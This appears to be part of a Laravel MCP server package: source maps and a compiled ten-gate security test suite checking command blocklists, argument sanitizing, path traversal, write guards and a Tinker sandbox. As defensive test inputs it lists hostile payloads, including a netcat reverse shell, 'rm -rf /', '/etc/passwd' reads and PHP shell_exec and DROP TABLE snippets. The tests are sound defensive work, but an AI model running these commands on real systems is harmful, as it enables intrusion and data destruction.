{"version":3,"file":"laravel-info.js","sourceRoot":"","sources":["../../src/resources/laravel-info.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"full-security-audit.test.d.ts","sourceRoot":"","sources":["../../src/tests/full-security-audit.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,226 @@
|
|
|
1
|
+
import test from "node:test";
|
|
2
|
+
import assert from "node:assert/strict";
|
|
3
|
+
import fs from "node:fs";
|
|
4
|
+
import path from "node:path";
|
|
5
|
+
import os from "node:os";
|
|
6
|
+
import { checkEnvironment, classifyCommand, isCommandAllowed, sanitizeArgs, validateDangerousFlags, sanitizeTinkerCode, isPathSafe, isWriteAllowed, } from "../utils/security.js";
|
|
7
|
+
import { RateLimiter } from "../utils/rate-limiter.js";
|
|
8
|
+
import { parseConfig } from "../utils/config.js";
|
|
9
|
+
import { initAuditLogger, logAudit } from "../utils/audit.js";
|
|
10
|
+
import { writeFileContent } from "../utils/file.js";
|
|
11
|
+
// ============================================================================
|
|
12
|
+
// COMPREHENSIVE SECURITY AUDIT TEST SUITE (10-GATE SAFETY VERIFICATION)
|
|
13
|
+
// ============================================================================
|
|
14
|
+
test("Gate 1: Environment Safety Gate (Production Block)", () => {
|
|
15
|
+
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-env-test-"));
|
|
16
|
+
const envPath = path.join(tmpDir, ".env");
|
|
17
|
+
// Production check -> MUST THROW FATAL ERROR
|
|
18
|
+
fs.writeFileSync(envPath, "APP_NAME=Laravel\nAPP_ENV=production\n");
|
|
19
|
+
assert.throws(() => checkEnvironment(tmpDir), /refuses to start when APP_ENV=production/i);
|
|
20
|
+
// Capitalized PRODUCTION check
|
|
21
|
+
fs.writeFileSync(envPath, "APP_ENV=\"PRODUCTION\"\n");
|
|
22
|
+
assert.throws(() => checkEnvironment(tmpDir), /refuses to start when APP_ENV=production/i);
|
|
23
|
+
// Staging check -> Allowed with stderr warning
|
|
24
|
+
fs.writeFileSync(envPath, "APP_ENV=staging\n");
|
|
25
|
+
assert.doesNotThrow(() => checkEnvironment(tmpDir));
|
|
26
|
+
// Local check -> Allowed
|
|
27
|
+
fs.writeFileSync(envPath, "APP_ENV=local\n");
|
|
28
|
+
assert.doesNotThrow(() => checkEnvironment(tmpDir));
|
|
29
|
+
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
30
|
+
});
|
|
31
|
+
test("Gate 2: Command Classification & Complete Blocklist Audit", () => {
|
|
32
|
+
const dangerousCommands = [
|
|
33
|
+
"migrate:fresh",
|
|
34
|
+
"migrate:reset",
|
|
35
|
+
"migrate:rollback",
|
|
36
|
+
"migrate:refresh",
|
|
37
|
+
"db:wipe",
|
|
38
|
+
"down",
|
|
39
|
+
"up",
|
|
40
|
+
"tinker",
|
|
41
|
+
"serve",
|
|
42
|
+
"queue:restart",
|
|
43
|
+
"event:generate",
|
|
44
|
+
"vendor:publish",
|
|
45
|
+
"schedule:run",
|
|
46
|
+
"notifications:table",
|
|
47
|
+
"session:table",
|
|
48
|
+
"queue:table",
|
|
49
|
+
"cache:table",
|
|
50
|
+
"package:discover",
|
|
51
|
+
"stub:publish",
|
|
52
|
+
];
|
|
53
|
+
for (const cmd of dangerousCommands) {
|
|
54
|
+
assert.equal(classifyCommand(cmd), "DANGEROUS", `Command '${cmd}' must be classified as DANGEROUS`);
|
|
55
|
+
const check = isCommandAllowed(cmd);
|
|
56
|
+
assert.equal(check.allowed, false, `Command '${cmd}' must be permanently blocked`);
|
|
57
|
+
}
|
|
58
|
+
// Arbitrary shell commands must automatically fall back to DANGEROUS
|
|
59
|
+
const arbitraryCmds = ["eval", "system", "rm", "format", "powershell", "bash", "cat"];
|
|
60
|
+
for (const cmd of arbitraryCmds) {
|
|
61
|
+
assert.equal(classifyCommand(cmd), "DANGEROUS");
|
|
62
|
+
assert.equal(isCommandAllowed(cmd).allowed, false);
|
|
63
|
+
}
|
|
64
|
+
});
|
|
65
|
+
test("Gate 3: Shell Injection & Malicious Vector Filtering", () => {
|
|
66
|
+
const attackPayloads = [
|
|
67
|
+
"; rm -rf /",
|
|
68
|
+
"&& shutdown /s",
|
|
69
|
+
"| nc -e /bin/sh 10.0.0.1 4444",
|
|
70
|
+
"`id`",
|
|
71
|
+
"$(whoami)",
|
|
72
|
+
"${PATH}",
|
|
73
|
+
"arg > /tmp/hack.txt",
|
|
74
|
+
"arg < /tmp/payload.txt",
|
|
75
|
+
"arg\nrm -rf /",
|
|
76
|
+
"arg\r\nrm -rf /",
|
|
77
|
+
"arg\0.php",
|
|
78
|
+
"../../../etc/passwd",
|
|
79
|
+
"..\\..\\..\\windows\\system32",
|
|
80
|
+
];
|
|
81
|
+
for (const payload of attackPayloads) {
|
|
82
|
+
assert.throws(() => sanitizeArgs([payload]), /Security Error/i, `Attack payload '${payload}' was not blocked by sanitizeArgs!`);
|
|
83
|
+
}
|
|
84
|
+
// Length overflow check
|
|
85
|
+
assert.throws(() => sanitizeArgs(["a".repeat(256)]), /exceeds 255/);
|
|
86
|
+
// Parameter count overflow check
|
|
87
|
+
assert.throws(() => sanitizeArgs(Array(21).fill("arg")), /Too many arguments/);
|
|
88
|
+
});
|
|
89
|
+
test("Gate 4: Destructive Flag Interception", () => {
|
|
90
|
+
// --force flag checks
|
|
91
|
+
assert.throws(() => validateDangerousFlags("migrate", ["--force"]), /--force/);
|
|
92
|
+
assert.throws(() => validateDangerousFlags("db:seed", ["--force"]), /--force/);
|
|
93
|
+
assert.throws(() => validateDangerousFlags("key:generate", ["--force"]), /--force/);
|
|
94
|
+
// --seed flag check on migrate
|
|
95
|
+
assert.throws(() => validateDangerousFlags("migrate", ["--seed"]), /--seed/);
|
|
96
|
+
// Destructive wildcards
|
|
97
|
+
assert.throws(() => validateDangerousFlags("migrate", ["--drop-tables"]), /prohibited/i);
|
|
98
|
+
assert.throws(() => validateDangerousFlags("migrate", ["--drop-views"]), /prohibited/i);
|
|
99
|
+
assert.throws(() => validateDangerousFlags("migrate", ["--wipe"]), /prohibited/i);
|
|
100
|
+
// Harmless flags allowed
|
|
101
|
+
assert.doesNotThrow(() => validateDangerousFlags("migrate", ["--pretend"]));
|
|
102
|
+
assert.doesNotThrow(() => validateDangerousFlags("route:list", ["--compact"]));
|
|
103
|
+
});
|
|
104
|
+
test("Gate 5: Path Traversal & Symlink Escape Prevention", () => {
|
|
105
|
+
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-path-test-"));
|
|
106
|
+
const appDir = path.join(tmpDir, "app");
|
|
107
|
+
fs.mkdirSync(appDir, { recursive: true });
|
|
108
|
+
// Valid paths inside root
|
|
109
|
+
assert.equal(isPathSafe("app/Models/User.php", tmpDir), path.resolve(tmpDir, "app/Models/User.php"));
|
|
110
|
+
// Traversal attacks
|
|
111
|
+
assert.throws(() => isPathSafe("../../../etc/passwd", tmpDir), /Security Error/);
|
|
112
|
+
assert.throws(() => isPathSafe("..\\..\\windows\\system32", tmpDir), /Security Error/);
|
|
113
|
+
assert.throws(() => isPathSafe("/etc/passwd", tmpDir), /Security Error/);
|
|
114
|
+
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
115
|
+
});
|
|
116
|
+
test("Gate 6: File Write Guard, Extension Whitelist & Auto-Backup System", async () => {
|
|
117
|
+
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-write-test-"));
|
|
118
|
+
const appDir = path.join(tmpDir, "app", "Http", "Controllers");
|
|
119
|
+
fs.mkdirSync(appDir, { recursive: true });
|
|
120
|
+
// Whitelisted directory & extension
|
|
121
|
+
assert.equal(isWriteAllowed("app/Http/Controllers/ProductController.php").allowed, true);
|
|
122
|
+
assert.equal(isWriteAllowed("routes/api.php").allowed, true);
|
|
123
|
+
assert.equal(isWriteAllowed("resources/views/welcome.blade.php").allowed, true);
|
|
124
|
+
assert.equal(isWriteAllowed("config/services.php").allowed, true);
|
|
125
|
+
// Blacklisted directory / files
|
|
126
|
+
assert.equal(isWriteAllowed(".env").allowed, false);
|
|
127
|
+
assert.equal(isWriteAllowed("vendor/autoload.php").allowed, false);
|
|
128
|
+
assert.equal(isWriteAllowed("node_modules/express/index.js").allowed, false);
|
|
129
|
+
assert.equal(isWriteAllowed("artisan").allowed, false);
|
|
130
|
+
assert.equal(isWriteAllowed("composer.json").allowed, false);
|
|
131
|
+
assert.equal(isWriteAllowed("storage/logs/laravel.log").allowed, false);
|
|
132
|
+
assert.equal(isWriteAllowed("public/index.php").allowed, false);
|
|
133
|
+
// Blacklisted extension
|
|
134
|
+
assert.equal(isWriteAllowed("app/exploit.sh").allowed, false);
|
|
135
|
+
assert.equal(isWriteAllowed("app/malware.exe").allowed, false);
|
|
136
|
+
// Test Auto-Backup execution
|
|
137
|
+
const testFile = path.join(appDir, "TestController.php");
|
|
138
|
+
fs.writeFileSync(testFile, "<?php // Original Content");
|
|
139
|
+
const { backupPath } = await writeFileContent(testFile, "<?php // Updated Content", tmpDir);
|
|
140
|
+
assert.ok(backupPath, "Backup path must be generated");
|
|
141
|
+
assert.ok(fs.existsSync(backupPath), "Backup file must exist on disk");
|
|
142
|
+
assert.equal(fs.readFileSync(backupPath, "utf-8"), "<?php // Original Content");
|
|
143
|
+
assert.equal(fs.readFileSync(testFile, "utf-8"), "<?php // Updated Content");
|
|
144
|
+
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
145
|
+
});
|
|
146
|
+
test("Gate 7: Tinker Code Sandbox & Exploit Mitigation", () => {
|
|
147
|
+
// Safe snippets
|
|
148
|
+
assert.equal(sanitizeTinkerCode("User::first();").safe, true);
|
|
149
|
+
assert.equal(sanitizeTinkerCode("config('app.name');").safe, true);
|
|
150
|
+
assert.equal(sanitizeTinkerCode("collect([1, 2, 3])->map(fn($n) => $n * 2);").safe, true);
|
|
151
|
+
// System command execution exploits
|
|
152
|
+
assert.ok(!sanitizeTinkerCode("exec('whoami');").safe);
|
|
153
|
+
assert.ok(!sanitizeTinkerCode("system('ls -la');").safe);
|
|
154
|
+
assert.ok(!sanitizeTinkerCode("passthru('id');").safe);
|
|
155
|
+
assert.ok(!sanitizeTinkerCode("shell_exec('cat /etc/passwd');").safe);
|
|
156
|
+
assert.ok(!sanitizeTinkerCode("popen('cmd', 'r');").safe);
|
|
157
|
+
// File modification exploits
|
|
158
|
+
assert.ok(!sanitizeTinkerCode("unlink('app/Models/User.php');").safe);
|
|
159
|
+
assert.ok(!sanitizeTinkerCode("file_put_contents('.env', 'HACKED');").safe);
|
|
160
|
+
// Database destruction exploits
|
|
161
|
+
assert.ok(!sanitizeTinkerCode("DB::statement('DROP TABLE users');").safe);
|
|
162
|
+
assert.ok(!sanitizeTinkerCode("Schema::drop('users');").safe);
|
|
163
|
+
assert.ok(!sanitizeTinkerCode("User::truncate();").safe);
|
|
164
|
+
});
|
|
165
|
+
test("Gate 8: Rate Limiter & Flood Prevention", () => {
|
|
166
|
+
const limiter = new RateLimiter({
|
|
167
|
+
maxRequestsPerMinute: 5,
|
|
168
|
+
maxRequestsPerHour: 100,
|
|
169
|
+
cooldownMs: 0,
|
|
170
|
+
});
|
|
171
|
+
for (let i = 0; i < 5; i++) {
|
|
172
|
+
assert.equal(limiter.checkRateLimit().allowed, true, `Request #${i + 1} should be allowed`);
|
|
173
|
+
limiter.recordRequest();
|
|
174
|
+
}
|
|
175
|
+
// 6th request MUST be blocked
|
|
176
|
+
const check = limiter.checkRateLimit();
|
|
177
|
+
assert.equal(check.allowed, false, "Request #6 must be blocked by rate limiter");
|
|
178
|
+
assert.ok(check.reason?.includes("limit of 5 requests per minute exceeded"));
|
|
179
|
+
});
|
|
180
|
+
test("Gate 9: Audit Logger (.jsonl persistence & format)", () => {
|
|
181
|
+
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-audit-test-"));
|
|
182
|
+
const sessionId = initAuditLogger(tmpDir);
|
|
183
|
+
assert.ok(sessionId, "Session ID must be initialized");
|
|
184
|
+
logAudit({
|
|
185
|
+
tool: "run_artisan",
|
|
186
|
+
tier: "CAUTIOUS",
|
|
187
|
+
command: "make:model",
|
|
188
|
+
args: ["Product"],
|
|
189
|
+
status: "ALLOWED",
|
|
190
|
+
exitCode: 0,
|
|
191
|
+
});
|
|
192
|
+
logAudit({
|
|
193
|
+
tool: "run_artisan",
|
|
194
|
+
tier: "DANGEROUS",
|
|
195
|
+
command: "migrate:fresh",
|
|
196
|
+
status: "BLOCKED",
|
|
197
|
+
reason: "Permanently blocked",
|
|
198
|
+
});
|
|
199
|
+
const auditFile = path.join(tmpDir, ".laravel-mcp-audit.jsonl");
|
|
200
|
+
assert.ok(fs.existsSync(auditFile), "Audit log file must be created on disk");
|
|
201
|
+
const lines = fs.readFileSync(auditFile, "utf-8").trim().split("\n");
|
|
202
|
+
assert.equal(lines.length, 2, "Must contain exactly 2 audit log entries");
|
|
203
|
+
const entry1 = JSON.parse(lines[0]);
|
|
204
|
+
assert.equal(entry1.tool, "run_artisan");
|
|
205
|
+
assert.equal(entry1.command, "make:model");
|
|
206
|
+
assert.equal(entry1.status, "ALLOWED");
|
|
207
|
+
const entry2 = JSON.parse(lines[1]);
|
|
208
|
+
assert.equal(entry2.command, "migrate:fresh");
|
|
209
|
+
assert.equal(entry2.status, "BLOCKED");
|
|
210
|
+
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
211
|
+
});
|
|
212
|
+
test("Gate 10: Dry-Run Mode & CLI Argument Configuration", () => {
|
|
213
|
+
const config = parseConfig([
|
|
214
|
+
"node",
|
|
215
|
+
"index.js",
|
|
216
|
+
"/path/to/laravel",
|
|
217
|
+
"--dry-run",
|
|
218
|
+
"--allow-write",
|
|
219
|
+
"--rate-limit",
|
|
220
|
+
"50",
|
|
221
|
+
]);
|
|
222
|
+
assert.equal(config.dryRun, true);
|
|
223
|
+
assert.equal(config.allowWrite, true);
|
|
224
|
+
assert.equal(config.rateLimit, 50);
|
|
225
|
+
});
|
|
226
|
+
//# sourceMappingURL=full-security-audit.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"full-security-audit.test.js","sourceRoot":"","sources":["../../src/tests/full-security-audit.test.ts"],"names":[],"mappings":"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